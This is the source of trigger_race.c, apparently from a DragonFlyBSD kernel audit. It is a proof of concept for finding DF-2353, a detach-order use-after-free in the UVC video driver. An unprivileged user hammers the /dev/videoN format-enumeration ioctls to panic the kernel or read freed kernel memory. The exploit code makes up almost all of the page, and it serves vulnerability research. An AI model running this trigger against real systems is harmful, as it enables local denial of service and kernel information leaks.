⬢ DragonFlyBSD Kernel Audit
DF-2353 / trigger_race.c
← back to finding ↓ download raw
/*
 * trigger_race.c -- unprivileged hammer for DF-2353 (detach-order UAF).
 *
 * Run as a plain local user (any uid) while the rig performs
 * reg/detach cycles.  Each iteration opens /dev/videoN (created by the
 * production uvc_v4l2_reg(), mode 0666) and issues VIDIOC_ENUM_FMT /
 * VIDIOC_ENUM_FRAMESIZES, the exact handlers named in the finding
 * (they read video->data->fmt with no lock held):
 *   uvc_v4l2_ioctl (uvc_v4l2.c:548/556)
 *     -> uvc_drv_enum_v4l2_fmt (uvc_drv.c:826-833: v->data->nfmt,
 *        v->data->fmt, strlcpy(fmt->name))
 *     -> uvc_drv_enum_v4l2_framesizes (uvc_drv.c:799-816)
 *
 * If a descriptor read lands after kfree(sc->data->fmt) but before the
 * cdev stops dispatching (destroy_dev is async: devfs_core.c:757), the
 * kernel reads freed memory -> page fault panic, or stale/garbage
 * description strings (observable info leak).
 *
 * Structs mirror sys/contrib/v4l/videodev2.h exactly.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <stdint.h>
#include <sys/ioctl.h>

struct v4l2_fmtdesc {
	uint32_t	index;
	uint32_t	type;		/* enum v4l2_buf_type */
	uint32_t	flags;
	uint8_t		description[32];
	uint32_t	pixelformat;
	uint32_t	reserved[4];
};

struct v4l2_frmsize_discrete {
	uint32_t	width;
	uint32_t	height;
};

struct v4l2_frmsizeenum {
	uint32_t			index;
	uint32_t			pixel_format;
	uint32_t			type;
	union {
		struct v4l2_frmsize_discrete discrete;
		uint8_t pad[200];
	} x;
	uint32_t			reserved[2];
};

#define V4L2_BUF_TYPE_VIDEO_CAPTURE	1
#define V4L2_PIX_FMT_MJPEG	((uint32_t)'M' | ((uint32_t)'J' << 8) | \
				 ((uint32_t)'P' << 16) | ((uint32_t)'G' << 24))
#define VIDIOC_ENUM_FMT		_IOWR('V',  2, struct v4l2_fmtdesc)
#define VIDIOC_ENUM_FRAMESIZES	_IOWR('V', 74, struct v4l2_frmsizeenum)

int
main(int argc, char **argv)
{
	int seconds = (argc > 1) ? atoi(argv[1]) : 60;
	struct v4l2_fmtdesc fd_;
	struct v4l2_frmsizeenum fs;
	struct timespec ts0, ts;
	char path[32];
	long iters = 0, ok = 0, desc_odd = 0;
	int i, fd;

	printf("trigger_race: uid=%d, hammering for %ds\n", getuid(), seconds);
	fflush(stdout);
	clock_gettime(CLOCK_MONOTONIC, &ts0);

	for (;;) {
		clock_gettime(CLOCK_MONOTONIC, &ts);
		if ((ts.tv_sec - ts0.tv_sec) >= seconds)
			break;

		for (i = 0; i < 8; i++) {
			snprintf(path, sizeof(path), "/dev/video%d", i);
			fd = open(path, O_RDWR | O_NONBLOCK);
			if (fd < 0)
				continue;

			memset(&fd_, 0, sizeof(fd_));
			fd_.index = 0;
			fd_.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
			if (ioctl(fd, VIDIOC_ENUM_FMT, &fd_) == 0) {
				ok++;
				/* the parsed production value is "MJPEG";
				 * anything else came out of freed memory */
				if (strcmp((char *)fd_.description,
				    "MJPEG") != 0) {
					desc_odd++;
					printf("trigger_race: ODD description "
					    "\"%.32s\" (freed-memory read)\n",
					    (char *)fd_.description);
					fflush(stdout);
				}
			}

			memset(&fs, 0, sizeof(fs));
			fs.index = 0;
			fs.pixel_format = V4L2_PIX_FMT_MJPEG;
			ioctl(fd, VIDIOC_ENUM_FRAMESIZES, &fs);

			memset(&fd_, 0, sizeof(fd_));
			fd_.index = 0;
			fd_.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
			ioctl(fd, VIDIOC_ENUM_FMT, &fd_);

			close(fd);
			iters++;
		}
	}
	printf("trigger_race: done: %ld iterations, %ld ENUM_FMT ok, "
	    "%ld odd descriptions\n", iters, ok, desc_odd);
	return 0;
}